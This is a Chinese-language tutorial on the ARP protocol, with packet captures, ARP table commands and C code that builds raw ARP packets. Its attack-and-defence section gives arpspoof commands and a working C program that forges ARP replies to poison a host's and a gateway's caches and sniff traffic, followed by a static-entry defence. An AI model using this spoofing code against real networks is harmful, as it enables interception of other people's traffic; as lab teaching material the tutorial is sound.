3. ARP 协议分析与实践
1. 概述
1.1 ARP 报文格式
- ARP 包分为请求包和应答包, 通过 OP 字段来区别
arping -I eth0 192.168.2.200
sudo tcpdump -nt -XX arp 'dst 192.168.2.200 or src 192.168.2.200'
ARP, Request who-has 192.168.2.200 (ff:ff:ff:ff:ff:ff) tell 192.168.2.100, length 28
0x0000: ffff ffff ffff 000c 0c0c 0c0c 0806 0001 ................
0x0010: 0800 0604 0001 000c 0c0c 0c0c c0a8 0264 ...............d
0x0020: ffff ffff ffff c0a8 02c8 ..........
ARP, Reply 192.168.2.200 is-at 00:0d:0d:0d:0d:0d, length 46
0x0000: 000c 0c0c 0c0c 000d 0d0d 0d0d 0806 0001 ................
0x0010: 0800 0604 0002 000d 0d0d 0d0d c0a8 02c8 ................
0x0020: 000c 0c0c 0c0c c0a8 0264 0000 0000 0000 .........d......
0x0030: 0000 0000 0000 0000 0000 0000 ............
1.2 ARP 表
- 为了避免每次网络请求都要发送 ARP 请求, 将网络地址转换为 MAC 地址, 在每台主机中都有 ARP 缓存表,缓存表中记录了IP地址与 MAC 地址的对应关系
arp -vn
Address HWtype HWaddress Flags Mask Iface
192.168.2.200 ether 00:0d:0d:0d:0d:0d C eth0
192.168.2.3 ether 00:0b:0b:0b:0b:0b C eth0
sudo arp -i eth0 -s 192.168.2.200 ff:ee:ee:ee:ee:ee
sudo arp -i eth0 -d 192.168.2.200
sudo arp -i eth0 -Ds 10.0.0.2 eth1 pub
2. ARP 编程
2.1 arp.h
shell> cat arp.h
#ifndef __arp_h__
#define __arp_h__
#define ARP_OP_REQUEST 0x0001
#define ARP_OP_REPLY 0x0002
#define ARP_HW_TYPE_ETH 0x0001
struct arp_packet {
unsigned short hwtype;
unsigned short prototype;
unsigned char hal;
unsigned char pal;
unsigned short opcode;
unsigned char smac[6];
unsigned int sip;
unsigned char tmac[6];
unsigned int tip;
}__attribute__((packed));
struct arp_packet* arp_alloc_packet(unsigned short opcode, const char* smac,
const char* sip, const char* tmac, const char* tip);
void arp_free_packet(struct arp_packet** packet);
#endif
2.2 arp.c
shell> cat arp.c
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/ether.h>
#include "eth.h"
#include "arp.h"
struct arp_packet* arp_alloc_packet(unsigned short opcode, const char* smac,
const char* sip, const char* tmac, const char* tip)
{
struct in_addr in;
struct ether_addr *addr;
struct arp_packet *packet;
packet = (struct arp_packet *)calloc(1, sizeof(struct arp_packet));
packet->hwtype = htons(ARP_HW_TYPE_ETH);
packet->prototype = htons(ETH_PROTO_IP);
packet->hal = 6;
packet->pal = 4;
packet->opcode = htons(opcode);
addr = ether_aton(smac);
memcpy(packet->smac, addr->ether_addr_octet, sizeof(addr->ether_addr_octet));
inet_aton(sip, &in);
packet->sip = in.s_addr;
addr = ether_aton(tmac);
memcpy(packet->tmac, addr->ether_addr_octet, sizeof(addr->ether_addr_octet));
inet_aton(tip, &in);
packet->tip = in.s_addr;
return packet;
}
void arp_free_packet(struct arp_packet** packet)
{
if (NULL != packet && NULL != *packet) {
free(*packet);
*packet = NULL;
}
}
2.3 main.c
shell> cat main.c
#include <stdio.h>
#include <string.h>
#include "eth.h"
#include "arp.h"
#define IFACE_NAME "eth0"
#define DEST_IP "192.168.2.200"
#define SRC_IP "192.168.2.100"
#define SRC_MAC "00:0C:0C:0C:0C:0C"
#define DEST_MAC "FF:FF:FF:FF:FF:FF"
static void eth_send_test(const char *dest_mac, const char *src_mac,
unsigned short proto, const void *data, size_t size)
{
int sockfd;
struct eth_frame *frame;
sockfd = eth_socket(IFACE_NAME);
frame = eth_alloc_frame(dest_mac, src_mac, proto, data, size);
eth_send(sockfd, frame, sizeof(struct eth_frame) + size, 0);
eth_free_packet(&frame);
eth_close(sockfd);
}
static void arp_request_test()
{
struct arp_packet *packet;
packet = arp_alloc_packet(ARP_OP_REQUEST, SRC_MAC, SRC_IP, DEST_MAC, DEST_IP);
eth_send_test(DEST_MAC, SRC_MAC, ETH_PROTO_ARP, packet, sizeof(struct arp_packet));
arp_free_packet(&packet);
}
int main(int argc, char *argv[])
{
arp_request_test();
return 0;
}
192.168.2.100> make run
192.168.2.200> sudo tcpdump -nt -i eth0 -XX arp
ARP, Request who-has 192.168.2.200 (ff:ff:ff:ff:ff:ff) tell 192.168.2.100, length 46
0x0000: ffff ffff ffff 000c 0c0c 0c0c 0806 0001 ................
0x0010: 0800 0604 0001 000c 0c0c 0c0c c0a8 0264 ...............d
0x0020: ffff ffff ffff c0a8 02c8 0000 0000 0000 ................
0x0030: 0000 0000 0000 0000 0000 0000 ............
ARP, Reply 192.168.2.200 is-at 00:0d:0d:0d:0d:0d, length 28
0x0000: 000c 0c0c 0c0c 000d 0d0d 0d0d 0806 0001 ................
0x0010: 0800 0604 0002 000d 0d0d 0d0d c0a8 02c8 ................
0x0020: 000c 0c0c 0c0c c0a8 0264 .........d
3. ARP 攻防
3.1 ARP 欺骗
- 攻击者通过发送伪造的 ARP 报文,恶意修改网关或网络内其他主机的ARP表项,造成设备网络报文转发异常
3.1.1 使用 arpspoof 实现 ARP 欺骗
192.168.2.200> arp -vn
Address HWtype HWaddress Flags Mask Iface
192.168.2.100 ether 00:0c:0c:0c:0c:0c C eth0
192.168.2.3 ether 00:0b:0b:0b:0b:0b C eth0
192.168.2.100> sudo arpspoof -i eth0 -t 192.168.2.200 192.168.2.3
0:c:c:c:c:c 0:d:d:d:d:d 0806 42: arp reply 192.168.2.3 is-at 0:c:c:c:c:c
0:c:c:c:c:c 0:d:d:d:d:d 0806 42: arp reply 192.168.2.3 is-at 0:c:c:c:c:c
192.168.2.200> arp -vn
Address HWtype HWaddress Flags Mask Iface
192.168.2.100 ether 00:0c:0c:0c:0c:0c C eth0
192.168.2.3 ether 00:0c:0c:0c:0c:0c C eth0
192.168.2.3> arp -vn
Address HWtype HWaddress Flags Mask Iface
192.168.2.100 ether 00:0c:0c:0c:0c:0c C eth0
192.168.10.2 ether 00:50:56:f1:c4:46 C eth1
192.168.2.200 ether 00:0d:0d:0d:0d:0d C eth0
192.168.2.100> sudo arpspoof -i eth0 -t 192.168.2.3 192.168.2.200
192.168.2.3> arp -vn
Address HWtype HWaddress Flags Mask Iface
192.168.2.100 ether 00:0c:0c:0c:0c:0c C eth0
192.168.10.2 ether 00:50:56:f1:c4:46 C eth1
192.168.2.200 ether 00:0c:0c:0c:0c:0c C eth0
192.168.2.100> echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
192.168.2.100> sudo tcpdump -i eth0 -nt -XX ip host 192.168.2.200
192.168.2.200> ping baidu.com
3.1.2 ARP 欺骗防守
- 利用 ARP 静态映射的表项, 加载后无法修改的特点, 防止 ARP 表被非法篡改
echo '192.168.2.3 00:0b:0b:0b:0b:0b' | sudo tee -a /etc/ethers
sudo arp -f
echo '/usr/sbin/arp -f' | sudo tee -a /etc/rc.d/rc.local
arp -vn
Address HWtype HWaddress Flags Mask Iface
192.168.2.3 ether 00:0b:0b:0b:0b:0b CM eth0
192.168.2.100 ether 00:0c:0c:0c:0c:0c C eth0
3.1.3 ARP 欺骗编码实现
shell> cat main.c
#include <stdio.h>
#include <string.h>
#include "eth.h"
#include "arp.h"
#define IFACE_NAME "eth0"
static void eth_send_test(const char *dest_mac, const char *src_mac,
unsigned short proto, const void *data, size_t size)
{
int sockfd;
struct eth_frame *frame;
sockfd = eth_socket(IFACE_NAME);
frame = eth_alloc_frame(dest_mac, src_mac, proto, data, size);
eth_send(sockfd, frame, sizeof(struct eth_frame) + size, 0);
eth_free_packet(&frame);
eth_close(sockfd);
}
static void arp_reply_test(const char *src_mac, const char *src_ip,
const char *dest_mac, const char *dest_ip)
{
struct arp_packet *packet;
packet = arp_alloc_packet(ARP_OP_REPLY, src_mac, src_ip, dest_mac, dest_ip);
eth_send_test(dest_mac, src_mac, ETH_PROTO_ARP, packet, sizeof(struct arp_packet));
arp_free_packet(&packet);
}
static void arp_spoofing()
{
{
const char *src_ip = "192.168.2.3";
const char *src_mac = "00:0c:0c:0c:0c:0c";
const char *dest_ip = "192.168.2.200";
const char *dest_mac = "00:0d:0d:0d:0d:0d";
arp_reply_test(src_mac, src_ip, dest_mac, dest_ip);
}
{
const char *src_ip = "192.168.2.200";
const char *src_mac = "00:0c:0c:0c:0c:0c";
const char *dest_ip = "192.168.2.3";
const char *dest_mac = "00:0b:0b:0b:0b:0b";
arp_reply_test(src_mac, src_ip, dest_mac, dest_ip);
}
}
int main(int argc, char *argv[])
{
arp_spoofing();
return 0;
}
192.168.2.100> echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
192.168.2.100> sudo tcpdump -i eth0 -nt -XX ip host 192.168.2.200
192.168.2.100> watch make run
192.168.2.200> ping baidu.com